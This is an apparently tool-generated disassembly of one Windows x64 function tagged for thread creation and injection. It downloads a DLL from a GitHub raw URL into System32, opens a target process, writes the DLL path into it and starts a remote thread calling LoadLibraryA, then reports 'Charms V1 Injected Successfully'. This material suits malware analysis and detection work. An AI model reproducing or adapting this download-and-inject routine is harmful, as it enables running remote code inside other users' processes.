Function at 0x140057bf0
Capabilities:
Create thread
Inject thread

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xe0
movaps xmmword [rax - 0x18], xmm6
xorps xmm0, xmm0
movups xmmword [rbp + 0x27], xmm0
mov ecx, 0x50
call fcn.1400be6bc
mov qword [rbp + 0x27], rax
movdqa xmm0, xmmword [0x1400e00f0]
movdqu xmmword [rbp + 0x37], xmm0
movaps xmm0, xmmword [str.https:__raw.githubusercontent.com_rahmoundll_KAK_main_glew64.dll]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400deeb0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400deec0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400deed0]
movups xmmword [rax + 0x30], xmm1
mov byte [rax + 0x40], 0
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400be6bc
mov rdx, rax
mov qword [rbp + 7], rax
movdqa xmm0, xmmword [reloc.WLDAP32.dll_Ordinal_30]
movdqu xmmword [rbp + 0x17], xmm0
movups xmm0, xmmword [str.C:WindowsSystem32glew64.dll]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400deef8]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x1400def00]
mov dword [rax + 0x18], ecx
movzx eax, word [0x1400def04]
mov word [rdx + 0x1c], ax
mov byte [rdx + 0x1e], 0
lea rdx, [rbp + 7]
lea rcx, [rbp + 0x27]
call fcn.140052640
test al, al
jne 0x140057de8
movups xmm6, xmmword [0x14013aba8]
lea rax, [rbp - 0x49]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
xor ebx, ebx
mov qword [rbp - 0x39], rbx
mov qword [rbp - 0x31], rbx
mov ecx, Ordinal_50
call fcn.1400be6bc
mov qword [rbp - 0x49], rax
mov qword [rbp - 0x39], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp - 0x31], Ordinal_50
movups xmm0, xmmword [str.Failed_to_download_the_DLL_file.]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400ded70]
movups xmmword [rax + 0x10], xmm1
mov byte [rax + 0x20], bl
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], 9
mov qword [rbp - 0x11], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [0x1400ded88]
movsd qword [rbp - 0x29], xmm0
movzx eax, byte [0x1400ded90]
mov byte [rbp - 0x21], al
mov byte [rbp - 0x20], bl
movdqa xmmword [rbp - 9], xmm6
lea r9, [rbp - 9]
lea r8, [rbp - 0x49]
lea rdx, [rbp - 0x29]
call fcn.14004af50
nop
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0xf
jbe 0x140057da3
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140057d9d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140058362
call fcn.1400bea08
nop
mov rdx, qword [rbp + 0x3f]
cmp rdx, 0xf
jbe 0x140057dde
inc rdx
mov rcx, qword [rbp + 0x27]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140057dd9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400583a1
call fcn.1400bea08
mov eax, 1
jmp 0x1400583ad
call fcn.140052930
mov edi, eax
xor ebx, ebx
test eax, eax
jne 0x140057eab
movups xmm6, xmmword [0x14013aba8]
lea rax, [rbp - 0x29]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], rbx
mov qword [rbp - 0x11], rbx
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400be6bc
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x19], reloc.WLDAP32.dll_Ordinal_27
mov qword [rbp - 0x11], Ordinal_32
movups xmm0, xmmword [str.Failed_to_find_the_process.]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400deda8]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x1400dedb0]
mov word [rax + 0x18], cx
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_46]
mov byte [rax + 0x1a], cl
mov byte [rax + 0x1b], bl
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
mov qword [rbp - 0x39], 9
mov qword [rbp - 0x31], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [0x1400ded88]
movsd qword [rbp - 0x49], xmm0
movzx eax, byte [0x1400ded90]
mov byte [rbp - 0x41], al
mov byte [rbp - 0x40], bl
movdqa xmmword [rbp - 9], xmm6
lea r9, [rbp - 9]
lea r8, [rbp - 0x29]
lea rdx, [rbp - 0x49]
call fcn.14004af50
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x140057f7b
movups xmm6, xmmword [0x14013aba8]
lea rax, [rbp - 0x29]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], rbx
mov qword [rbp - 0x11], rbx
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400be6bc
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x19], reloc.WLDAP32.dll_Ordinal_27
mov qword [rbp - 0x11], Ordinal_32
movups xmm0, xmmword [str.Failed_to_open_the_process.]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400dedc8]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x1400dedd0]
mov word [rax + 0x18], cx
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_46]
mov byte [rax + 0x1a], cl
mov byte [rax + 0x1b], dil
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
mov qword [rbp - 0x39], 9
mov qword [rbp - 0x31], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [0x1400ded88]
movsd qword [rbp - 0x49], xmm0
movzx eax, byte [0x1400ded90]
mov byte [rbp - 0x41], al
mov byte [rbp - 0x40], dil
movdqa xmmword [rbp - 9], xmm6
lea r9, [rbp - 9]
lea r8, [rbp - 0x29]
lea rdx, [rbp - 0x49]
call fcn.14004af50
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov r8d, Ordinal_32
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x140058063
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm6, xmmword [0x14013aba8]
lea rax, [rbp - 0x29]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], rbx
mov qword [rbp - 0x11], rbx
mov ecx, Ordinal_50
call fcn.1400be6bc
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x19], reloc.WLDAP32.dll_Ordinal_41
mov qword [rbp - 0x11], Ordinal_50
movups xmm0, xmmword [str.Failed_to_allocate_memory_in_the_process.]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400dede8]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x1400dedf8]
movsd qword [rax + 0x20], xmm0
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_46]
mov byte [rax + 0x28], cl
mov byte [rax + 0x29], sil
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
mov qword [rbp - 0x39], 9
mov qword [rbp - 0x31], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [0x1400ded88]
movsd qword [rbp - 0x49], xmm0
movzx eax, byte [0x1400ded90]
mov byte [rbp - 0x41], al
mov byte [rbp - 0x40], sil
movdqa xmmword [rbp - 9], xmm6
lea r9, [rbp - 9]
lea r8, [rbp - 0x29]
lea rdx, [rbp - 0x49]
call fcn.14004af50
mov qword [rsp + 0x20], rbx
mov r9d, Ordinal_32
lea r8, str.C:WindowsSystem32glew64.dll
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14005814f
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm6, xmmword [0x14013aba8]
lea rax, [rbp - 0x29]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], rbx
mov qword [rbp - 0x11], rbx
mov ecx, Ordinal_50
call fcn.1400be6bc
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x19], Ordinal_35
mov qword [rbp - 0x11], Ordinal_50
movups xmm0, xmmword [str.Failed_to_write_to_process_memory.]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400dee18]
movups xmmword [rax + 0x10], xmm1
movzx ecx, word [0x1400dee28]
mov word [rax + 0x20], cx
mov byte [rax + 0x22], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
mov qword [rbp - 0x39], 9
mov qword [rbp - 0x31], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [0x1400ded88]
movsd qword [rbp - 0x49], xmm0
movzx eax, byte [0x1400ded90]
mov byte [rbp - 0x41], al
mov byte [rbp - 0x40], 0
movdqa xmmword [rbp - 9], xmm6
lea r9, [rbp - 9]
lea r8, [rbp - 0x29]
lea rdx, [rbp - 0x49]
call fcn.14004af50
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rsi
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x14005827c
lea rdx, str.Failed_to_create_remote_thread
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140059cf0
lea rdx, [0x140059ed0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm6, xmmword [0x14013aba8]
lea rax, [rbp - 0x29]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], rbx
mov qword [rbp - 0x11], rbx
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400be6bc
mov rdx, rax
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x19], Ordinal_32
mov qword [rbp - 0x11], Ordinal_32
movups xmm0, xmmword [str.Failed_to_create_remote_thread.]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400dee60]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x1400dee68]
mov dword [rax + 0x18], ecx
movzx ecx, word [0x1400dee6c]
mov word [rax + 0x1c], cx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_46]
mov byte [rdx + 0x1e], al
mov byte [rdx + 0x1f], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
mov qword [rbp - 0x39], 9
mov qword [rbp - 0x31], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [0x1400ded88]
movsd qword [rbp - 0x49], xmm0
movzx eax, byte [0x1400ded90]
mov byte [rbp - 0x41], al
mov byte [rbp - 0x40], 0
movdqa xmmword [rbp - 9], xmm6
lea r9, [rbp - 9]
lea r8, [rbp - 0x29]
lea rdx, [rbp - 0x49]
call fcn.14004af50
movups xmm6, xmmword [0x14013aba8]
lea rax, [rbp - 0x29]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], rbx
mov qword [rbp - 0x11], rbx
mov ecx, Ordinal_50
call fcn.1400be6bc
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x19], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp - 0x11], Ordinal_50
movups xmm0, xmmword [str.Charms_V1_Injected_Successfully.]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400dee80]
movups xmmword [rax + 0x10], xmm1
mov byte [rax + 0x20], 0
lea rax, [rbp - 0x49]
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
mov qword [rbp - 0x39], 9
mov qword [rbp - 0x31], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [0x1400ded88]
movsd qword [rbp - 0x49], xmm0
movzx eax, byte [0x1400ded90]
mov byte [rbp - 0x41], al
mov byte [rbp - 0x40], 0
movdqa xmmword [rbp - 9], xmm6
lea r9, [rbp - 9]
lea r8, [rbp - 0x29]
lea rdx, [rbp - 0x49]
call fcn.14004af50
mov edx, 0x20001
lea rcx, str.C:Windowsxactivar.wav
call qword [sym.imp.WINMM.dll_sndPlaySoundA]
nop
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0xf
jbe 0x14005836f
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140058369
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140058369
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bea08
nop
mov rdx, qword [rbp + 0x3f]
cmp rdx, 0xf
jbe 0x1400583ad
inc rdx
mov rcx, qword [rbp + 0x27]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400583a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400583a8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bea08
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret